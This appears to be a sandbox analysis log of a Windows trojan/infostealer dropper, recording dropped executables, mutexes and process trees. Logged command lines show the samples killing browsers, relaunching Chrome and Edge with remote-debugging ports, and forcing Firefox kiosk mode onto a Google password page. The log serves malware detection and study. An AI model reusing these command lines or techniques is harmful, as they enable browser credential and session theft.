Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2C6FF0	9_2_6D2C6FF0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2F9E30	9_2_6D2F9E30
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2E5600	9_2_6D2E5600
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D7E10	9_2_6D2D7E10
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D306E63	9_2_6D306E63
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D29C670	9_2_6D29C670
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2E2E4E	9_2_6D2E2E4E
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2B4640	9_2_6D2B4640
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2B9E50	9_2_6D2B9E50
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D3E50	9_2_6D2D3E50
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2F4EA0	9_2_6D2F4EA0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2FE680	9_2_6D2FE680
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2B5E90	9_2_6D2B5E90
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D3076E3	9_2_6D3076E3
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D29BEF0	9_2_6D29BEF0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2AFEF0	9_2_6D2AFEF0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D30B170	9_2_6D30B170
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2AD960	9_2_6D2AD960
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2EB970	9_2_6D2EB970
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2BA940	9_2_6D2BA940
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D29C9A0	9_2_6D29C9A0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2CD9B0	9_2_6D2CD9B0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D5190	9_2_6D2D5190
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2F2990	9_2_6D2F2990
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2DB820	9_2_6D2DB820
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2E4820	9_2_6D2E4820
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2A7810	9_2_6D2A7810
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2DF070	9_2_6D2DF070
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2B8850	9_2_6D2B8850
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2BD850	9_2_6D2BD850
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2C60A0	9_2_6D2C60A0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2BC0E0	9_2_6D2BC0E0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D58E0	9_2_6D2D58E0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D3050C7	9_2_6D3050C7
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2DD320	9_2_6D2DD320
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2AC370	9_2_6D2AC370
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D295340	9_2_6D295340

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: String function: 6D2CCBE8 appears 109 times
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: String function: 6D2D94D0 appears 85 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981479904632152
Source: file.exe	Static PE information: Section: ewxlggpv ZLIB complexity 0.9944098346438482
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981479904632152
Source: skotes.exe.0.dr	Static PE information: Section: ewxlggpv ZLIB complexity 0.9944098346438482
Source: random[1].exe.6.dr	Static PE information: Section: ppsazxmd ZLIB complexity 0.9944695783904511
Source: f398072083.exe.6.dr	Static PE information: Section: ppsazxmd ZLIB complexity 0.9944695783904511
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9993468237704918
Source: random[1].exe0.6.dr	Static PE information: Section: quzinlov ZLIB complexity 0.9943501877682404
Source: c9ac8940e6.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993468237704918
Source: c9ac8940e6.exe.6.dr	Static PE information: Section: quzinlov ZLIB complexity 0.9943501877682404
Source: random[1].exe1.6.dr	Static PE information: Section: hnbmjddz ZLIB complexity 0.9948681414219475
Source: 194fcc03d1.exe.6.dr	Static PE information: Section: hnbmjddz ZLIB complexity 0.9948681414219475

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: f398072083.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@113/24@81/22

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_6D2F7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

9_2_6D2F7030

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1864:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp, 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp, 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp, 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp, 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp, 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp, 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 194fcc03d1.exe, 00000009.00000003.3341660853.000000001DE8B000.00000004.00000020.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000003.3237617851.000000001DE89000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3161819096.0000000005C85000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3158462161.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3213751399.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 194fcc03d1.exe, 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: c9ac8940e6.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 194fcc03d1.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe "C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe "C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe "C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe "C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe "C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe"
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55057f5d-f16e-4f69-8833-b78b222255b4} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e15e16d710 socket
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe "C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2516,i,6233154208295439855,16242932111608889233,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4160 -parentBuildID 20230927232528 -prefsHandle 3700 -prefMapHandle 3968 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbc5f12b-0f59-4048-a56b-678ab339fac2} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e16f218810 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe "C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe"
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2144,i,222551570837177175,109196626454061472,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe "C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe"
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6684 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6908 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe "C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe "C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe "C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe "C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe "C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process created: unknown unknown	Jump to behavior
